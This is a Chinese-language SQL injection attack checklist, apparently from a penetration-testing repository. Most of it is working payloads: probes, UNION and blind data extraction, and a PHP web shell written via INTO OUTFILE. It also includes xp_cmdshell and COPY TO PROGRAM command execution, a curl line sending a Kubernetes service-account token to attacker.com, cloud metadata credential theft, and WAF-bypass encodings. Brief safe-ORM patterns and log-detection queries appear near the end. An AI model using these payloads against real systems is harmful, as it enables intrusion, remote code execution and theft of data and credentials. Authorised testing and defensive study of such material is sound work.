offensive-sqli

SQL 注入 — 攻击性测试方法

快速工作流

1. 梳理所有能够访问数据库的输入向量（URL 参数、POST 正文、Cookie、标头、API 筛选器、WebSocket 消息）
2. 插入探测载荷，检测经典 SQLi；如果没有可见错误，则改用推断型（基于布尔值／时间）方法
3. 识别数据库类型并枚举架构
4. 在测试范围允许的情况下，利用漏洞提取数据、提升权限或实现 RCE
5. 记录发现并提出修复建议

---

检测

基本探测 — 所有输入向量

' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

基于错误的检测

触发语法错误，以揭示数据库类型和查询结构：

'  ''  `  "  ""  ,  %  \

留意：SQL 语法错误、数据库版本字符串、响应中泄露的表名／列名。

基于布尔值的盲注

' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --

观察条件为真和为假时，响应大小／内容的差异。

基于时间的盲注

-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --

JSON 操作符探测

-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'

GraphQL → SQLi 转向

{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}

WebSocket SQLi

const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');

REST API 筛选器注入

POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}

---

自动化工作流

# Full pipeline
sublist3r -d target | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | tee urls
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch

# Targeted with Burp capture
# 1. Capture request → Send to Active Scanner
# 2. Review SQL findings → manually verify
# 3. Export request file → sqlmap -r req.txt --dbs

# Blind SQLi (Ghauri — faster for time-based)
ghauri -u "https://target.com/page?id=1" --dbs

# Hidden parameter discovery
hakrawler -url https://target.com | tee crawl
arjun -i crawl -oJ params.json

---

利用

确定列数（UNION）

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

识别字符串列

' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -

枚举架构

-- DB version
' UNION SELECT @@version --          -- MySQL/MSSQL
' UNION SELECT version() --          -- PostgreSQL
' UNION SELECT banner FROM v$version -- -- Oracle

-- Tables
' UNION SELECT table_name,1 FROM information_schema.tables --    -- MySQL/MSSQL/PG
' UNION SELECT table_name,1 FROM all_tables --                   -- Oracle

-- Columns
' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --

盲注数据提取

-- Boolean character-by-character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -

-- Time-based conditional
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -

---

针对特定数据库的利用

MySQL / MariaDB

-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --

-- Write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --

-- Schema leak
' UNION SELECT table_schema,table_name FROM information_schema.tables
  WHERE table_schema NOT IN ('mysql','information_schema') --

MSSQL

-- OS command execution
'; EXEC xp_cmdshell 'net user' --

-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --

-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --

PostgreSQL

-- File read
' UNION SELECT pg_read_file('/etc/passwd',0,1000) --

-- OS command execution
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'id';
  SELECT * FROM cmd_exec; --

-- K8s service account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --

Oracle

-- Privilege enumeration
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --

-- PL/SQL execution
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --

---

NoSQL 与图注入

MongoDB

username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}

Neo4j / Cypher (CVE-2024-34517)

-- Normal
MATCH (u:User) WHERE u.name = 'admin' RETURN u
-- Bypass
MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u

较旧的 Neo4j 5.x（<5.18 / <4.4.26）可通过 IMMUTABLE 过程提升权限。

---

WAF 绕过技术

技术	示例
大小写变换	SeLeCt、UnIoN
注入注释	UN/**/ION SE/**/LECT
URL 编码	UNION → %55%4E%49%4F%4E
十六进制编码	SELECT → 0x53454C454354
空白字符	UNION/**/SELECT
空字节	%00' UNION SELECT password FROM users--
双重编码	%2f → %252f
字符串拼接	MySQL：CONCAT('a','b')，Oracle：'a'||'b'，MSSQL：'a'+'b'
JSON 包装	添加虚假 JSON 前缀 /**/{"a":1}，干扰 WAF 解析器

SQLmap 篡改脚本： 使用 Atlas 工具建议篡改脚本；针对多层 WAF，可组合使用多个脚本（--tamper=space2comment,charencode）。

HTTP/2 请求走私： 通过 h2/h2c 重放载荷；HPACK 压缩可让载荷不易被外围 WAF 识别。

---

云平台特定攻击路径

AWS

-- IMDSv1 credential theft (legacy environments)
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --

-- RDS Proxy disruption
'; CALL mysql.rds_kill(CONNECTION_ID()); --

Azure

-- Azure SQL Managed Instance RCE
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --

-- Instance metadata
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --

GCP Cloud SQL

' UNION SELECT @@global.version_comment, @@hostname --

Lambda / 无服务器连接池投毒

// SET ROLE persists across Lambda invocations when DB connections are reused
exports.handler = async (event) => {
  await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool
  return await db.query("SELECT * FROM sensitive_data");
};

---

ORM CVE 跟踪（2023–2025）

ORM	CVE / 问题	易受攻击的模式
Sequelize	CVE-2023-22578	sequelize.literal(\name = '${userInput}'`)`
TypeORM <0.3.12	findOne 注入	repository.findOne({ where: \id = ${id}` })`
Hibernate 6.x	查询缓存投毒	session.createQuery("FROM User WHERE name = '" + input + "'")
Prisma <4.11	原始查询	prisma.$executeRawUnsafe(\SELECT * FROM users WHERE id = ${id}`)`

安全的 ORM 模式：

// Sequelize — use replacements
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Prisma — tagged template literal
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])

---

快速参考速查表

DB	版本	时间延迟	字符串拼接	架构来源
MySQL	@@version	SLEEP(5)	CONCAT('a','b')	information_schema.tables
MSSQL	@@version	WAITFOR DELAY '0:0:5'	'a'+'b'	information_schema.tables、sys.tables
PostgreSQL	version()	pg_sleep(5)	'a'||'b'	information_schema.tables
Oracle	banner FROM v$version	DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)	'a'||'b'	all_tables、all_tab_columns

---

检测与监控查询

Splunk：

index=web sourcetype=access_combined
| regex _raw="(%27)|(\\')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(\\')|(\\-\\-)|(\\%3D))"
| eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status

AWS CloudWatch Insights（RDS）：

fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/\\*)/
| stats count() by bin(5m)

关键参考资料

• MITRE ATT&CK：T1190（利用面向公众的应用程序）
• OWASP ASVS 4.0：V5.3.4 — 必须使用参数化查询
• PCI DSS 4.0：要求 6.2.4 — 必须防范注入攻击
• CISA KEV Catalog — 监控正在遭受主动利用的 SQLi CVE
• 来源：https://github.com/SnailSploit/offensive-checklist/blob/main/sql-injection.md